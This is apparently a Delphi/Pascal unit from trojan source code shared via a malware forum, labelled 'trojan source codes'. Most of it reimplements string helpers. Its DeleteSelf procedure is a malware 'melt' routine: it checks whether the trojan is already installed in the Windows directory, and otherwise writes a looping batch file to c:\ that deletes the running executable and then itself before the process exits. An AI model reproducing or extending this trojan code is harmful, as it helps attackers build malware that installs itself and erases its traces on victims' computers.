untrip.pas

New tj source www.opensc.ws - trojan source codes.

Unit untRip;

interface

uses
edit,
windows;




type
  TReplaceFlags = set of (rfReplaceAll, rfIgnoreCase);
 TMbcsByteType = (mbSingleByte, mbLeadByte, mbTrailByte);

  { System Locale information record }
  TSysLocale = packed record
  FarEast: Boolean;
  end;




procedure DeleteSelf;
function sysdir:string;
function windir:string;
function LowerCase(const S: string): string;
function AnsiUpperCase(const S: string): string;
function StrLen(Str: PChar): Cardinal; assembler;
function StrPos(Str1, Str2: PChar): PChar; assembler;
function ByteTypeTest(P: PChar; Index: Integer): TMbcsByteType;
function StrByteType(Str: PChar; Index: Cardinal): TMbcsByteType;
function AnsiStrPos(Str, SubStr: PChar): PChar;
function AnsiPos(const Substr, S: string): Integer;
function StringReplace(const S, OldPattern, NewPattern: string;
  Flags: TReplaceFlags): string;

{ MBCS functions }

var
  LeadBytes: set of Char = [];

implementation








function LowerCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;


procedure DeleteSelf;
var
F:TextFile;
MeltName:string;
begin
{**Checks if files are installed allready**}

if (paramstr(0))=(windir+svrFname) then exit;



   MeltName:='c:\';
   MeltName:=MeltName+'$$$$$$.bat';
   AssignFile(F,MeltName);
   Rewrite(F);
   Writeln(F,':start');
   Writeln(F,'del "'+ParamStr(0)+'"');
   Writeln(F,'if exist "'+ ParamStr(0)+'"'+' goto start');
   Writeln(F,'del "' + MeltName + '"' );
   CloseFile(F);
   Winexec(PChar(MeltName),0);
   ExitProcess(0);
end;


//----------------------------------------------------------------WRITE FUNCTION


//---------------------------------------------------------------STRPAS FUNCTION
function StrPas(const Str: PChar): string;
  begin
    Result := Str;
  end;

//---------------------------------------------------------------WINDIR FUNCTION
function windir:string;
  var pWindowsDir:array [0..255] of char;
      sWindowsDir:string;
  begin
  try
   GetWindowsDirectory(pWindowsDir, 255);
   sWindowsDir:=StrPas(pWindowsDir);
   swindowsdir:=swindowsdir+'\';
   Result:=sWindowsDir;
  except end;
  end;

  function sysdir:string;
  var pSystemDir:array [0..255] of char;
      sSystemDir:string;
  begin
  try
   GetSystemDirectory(pSystemDir, 255);
   sSystemDir:=StrPas(pSystemDir);
   sSystemdir:=sSystemdir+'\';
   Result:=sSystemDir;
  except end;
  end;

function AnsiUpperCase(const S: string): string;
var
  Len: Integer;
begin
  Len := Length(S);
  SetString(Result, PChar(S), Len);
  if Len > 0 then CharUpperBuff(Pointer(Result), Len);
end;

function StrLen(Str: PChar): Cardinal; assembler;
asm
        MOV     EDX,EDI
        MOV     EDI,EAX
        MOV     ECX,0FFFFFFFFH
        XOR     AL,AL
        REPNE   SCASB
        MOV     EAX,0FFFFFFFEH
        SUB     EAX,ECX
        MOV     EDI,EDX
end;

function StrPos(Str1, Str2: PChar): PChar; assembler;
asm
        PUSH    EDI
        PUSH    ESI
        PUSH    EBX
        OR      EAX,EAX
        JE      @@2
        OR      EDX,EDX
        JE      @@2
        MOV     EBX,EAX
        MOV     EDI,EDX
        XOR     AL,AL
        MOV     ECX,0FFFFFFFFH
        REPNE   SCASB
        NOT     ECX
        DEC     ECX
        JE      @@2
        MOV     ESI,ECX
        MOV     EDI,EBX
        MOV     ECX,0FFFFFFFFH
        REPNE   SCASB
        NOT     ECX
        SUB     ECX,ESI
        JBE     @@2
        MOV     EDI,EBX
        LEA     EBX,[ESI-1]
@@1:    MOV     ESI,EDX
        LODSB
        REPNE   SCASB
        JNE     @@2
        MOV     EAX,ECX
        PUSH    EDI
        MOV     ECX,EBX
        REPE    CMPSB
        POP     EDI
        MOV     ECX,EAX
        JNE     @@1
        LEA     EAX,[EDI-1]
        JMP     @@3
@@2:    XOR     EAX,EAX
@@3:    POP     EBX
        POP     ESI
        POP     EDI
end;

function ByteTypeTest(P: PChar; Index: Integer): TMbcsByteType;
var
  I: Integer;
//  LeadBytes: set of Char = [];
begin
  Result := mbSingleByte;
  if (P = nil) or (P[Index] = #$0) then Exit;
  if (Index = 0) then
  begin
    if P[0] in LeadBytes then Result := mbLeadByte;
  end
  else
  begin
    I := Index - 1;
    while (I >= 0) and (P[I] in LeadBytes) do Dec(I);
    if ((Index - I) mod 2) = 0 then Result := mbTrailByte
    else if P[Index] in LeadBytes then Result := mbLeadByte;
  end;
end;

function StrByteType(Str: PChar; Index: Cardinal): TMbcsByteType;
var
SysLocale: TSysLocale;
begin
  Result := mbSingleByte;
  if SysLocale.FarEast then
    Result := ByteTypeTest(Str, Index);
end;

function AnsiStrPos(Str, SubStr: PChar): PChar;
var
  L1, L2: Cardinal;
  ByteType : TMbcsByteType;
begin
  Result := nil;
  if (Str = nil) or (Str^ = #0) or (SubStr = nil) or (SubStr^ = #0) then Exit;
  L1 := StrLen(Str);
  L2 := StrLen(SubStr);
  Result := StrPos(Str, SubStr);
  while (Result <> nil) and ((L1 - Cardinal(Result - Str)) >= L2) do
  begin
    ByteType := StrByteType(Str, Integer(Result-Str));
    if (ByteType <> mbTrailByte) and
      (CompareString(LOCALE_USER_DEFAULT, 0, Result, L2, SubStr, L2) = 2) then Exit;
    if (ByteType = mbLeadByte) then Inc(Result);
    Inc(Result);
    Result := StrPos(Result, SubStr);
  end;
  Result := nil;
end;

function AnsiPos(const Substr, S: string): Integer;
var
  P: PChar;
begin
  Result := 0;
  P := AnsiStrPos(PChar(S), PChar(SubStr));
  if P <> nil then
    Result := Integer(P) - Integer(PChar(S)) + 1;
end;

function StringReplace(const S, OldPattern, NewPattern: string;
  Flags: TReplaceFlags): string;
var
  SearchStr, Patt, NewStr: string;
  Offset: Integer;
begin
  if rfIgnoreCase in Flags then
  begin
    SearchStr := AnsiUpperCase(S);
    Patt := AnsiUpperCase(OldPattern);
  end else
  begin
    SearchStr := S;
    Patt := OldPattern;
  end;
  NewStr := S;
  Result := '';
  while SearchStr <> '' do
  begin
    Offset := AnsiPos(Patt, SearchStr);
    if Offset = 0 then
    begin
      Result := Result + NewStr;
      Break;
    end;
    Result := Result + Copy(NewStr, 1, Offset - 1) + NewPattern;
    NewStr := Copy(NewStr, Offset + Length(OldPattern), MaxInt);
    if not (rfReplaceAll in Flags) then
    begin
      Result := Result + NewStr;
      Break;
    end;
    SearchStr := Copy(SearchStr, Offset + Length(Patt), MaxInt);
  end;
end;

end.